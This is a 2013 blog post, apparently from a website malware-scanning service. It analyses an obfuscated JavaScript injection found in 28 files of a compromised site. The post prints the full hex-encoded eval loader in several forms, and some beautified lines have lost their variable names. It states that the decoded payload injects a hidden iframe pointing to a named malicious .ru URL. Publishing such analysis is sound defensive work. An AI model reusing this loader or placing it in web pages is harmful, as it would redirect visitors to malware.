Saturday, April 20, 2013

Hidden malicious iframe redirects to blacklisted website

Malicious JavaScript code generates hidden iframe to remote website

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor. The malicious iframe downloads content from remote malicious website. This infected website hosts suspicious JavaScript code injected in 28 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Apr 18 12:46:28 2013
Infected website's files: 28
Website malware scan report link: http://goo.gl/BYcYw


Website malware scanner sitescan report




Malicious JavaScript detection




Threat dump:

[[<script type='text/javascript' language='javascript' >
                                                                                                                                                                                                                                                          e=eval;
v="0x";
a=0;
try
{
a%26=2
}
catch(q)
{
a=1
}
if(!a)
{
try
{
document.body^=~1;
}
catch(q)
{
a2="!"
}
z="2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25!25!25!7b!66!77!25!77!6d!70!6f!25!42!25!69!74!68!7a!72!6a!73!79!33!68!77!6a!66!79!6a!4a!71!6a!72!6a!73!79!2d!2c!6e!6b!77!66!72!6a!2c!2e!40!12!f!12!f!25!25!25!25!77!6d!70!6f!33!78!77!68!25!42!25!2c!6d!79!79!75!3f!34!34!79!7a!6d!74!7d!70!7e!79!33!77!7a!34!68!74!7a!73!79!36!3a!33!75!6d!75!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!75!74!78!6e!79!6e!74!73!25!42!25!2c!66!67!78!74!71!7a!79!6a!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!67!74!77!69!6a!77!25!42!25!2c!35!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!6d!6a!6e!6c!6d!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!7c!6e!69!79!6d!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!71!6a!6b!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!79!74!75!25!42!25!2c!36!75!7d!2c!40!12!f!12!f!25!25!25!25!6e!6b!25!2d!26!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!77!6d!70!6f!2c!2e!2e!25!80!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!7c!77!6e!79!6a!2d!2c!41!69!6e!7b!25!6e!69!42!61!2c!77!6d!70!6f!61!2c!43!41!34!69!6e!7b!43!2c!2e!40!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!77!6d!70!6f!2c!2e!33!66!75!75!6a!73!69!48!6d!6e!71!69!2d!77!6d!70!6f!2e!40!12!f!25!25!25!25!82!12!f!82!2e!2d!2e!40".split(a2);
s="";
for(i=0;
i<z.length;
i++)
{
s+=String.fromCharCode(e(v+(z[i]))-5);
}
zaz=s;
e(zaz);
}

 </script>]]


Malware entry


Malware entry details.

Beautified script


  1. = "0x";
  2. = 0;
  3. try {
  4.     a &= 2
  5. } catch (q) {
  6.     a = 1
  7. }
  8. if (!a) {
  9.     try {
  10.         document.body ^= ~1;
  11.     } catch (q) {
  12.         a2 = "!"
  13.     }
  14.     z ="2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25!25!25!7b!66!77!25!77!6d!70!6f!25!42!25!69!74!68!7a!72!6a!73!79!33!68!77!6a!66!79!6a!4a!71!6a!72!6a!73!79!2d!2c!6e!6b!77!66!72!6a!2c!2e!40!12!f!12!f!25!25!25!25!77!6d!70!6f!33!78!77!68!25!42!25!2c!6d!79!79!75!3f!34!34!79!7a!6d!74!7d!70!7e!79!33!77!7a!34!68!74!7a!73!79!36!3a!33!75!6d!75!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!75!74!78!6e!79!6e!74!73!25!42!25!2c!66!67!78!74!71!7a!79!6a!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!67!74!77!69!6a!77!25!42!25!2c!35!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!6d!6a!6e!6c!6d!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!7c!6e!69!79!6d!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!71!6a!6b!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!77!6d!70!6f!33!78!79!7e!71!6a!33!79!74!75!25!42!25!2c!36!75!7d!2c!40!12!f!12!f!25!25!25!25!6e!6b!25!2d!26!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!77!6d!70!6f!2c!2e!2e!25!80!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!7c!77!6e!79!6a!2d!2c!41!69!6e!7b!25!6e!69!42!61!2c!77!6d!70!6f!61!2c!43!41!34!69!6e!7b!43!2c!2e!40!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!77!6d!70!6f!2c!2e!33!66!75!75!6a!73!69!48!6d!6e!71!69!2d!77!6d!70!6f!2e!40!12!f!25!25!25!25!82!12!f!82!2e!2d!2e!40".split(a2);
  15.     s = "";
  16.     for (= 0; i < z.length; i++) {
  17.         s += String.fromCharCode(e(+ (z[i])) - 5);
  18.     }
  19.     zaz = s;
  20.     e(zaz);
  21. }


Simplified version of JavaScript injection


  1. = "2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25!25!25!7b!66!77!25!...".split("!");
  2. = "";
  3. for (= 0; i < z.length; i++) { s += String.fromCharCode(eval("0x" + (z[i])) - 5);}
  4. eval(s);  



Malicious payload


Decoded payload generates hidden iframe to http://tuhoxkyt.ru/count15.php


Blacklisting status


The website is Suspicious on Google Safe Browsing.


Google Safe Browsing analysis



Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

No comments:

Post a Comment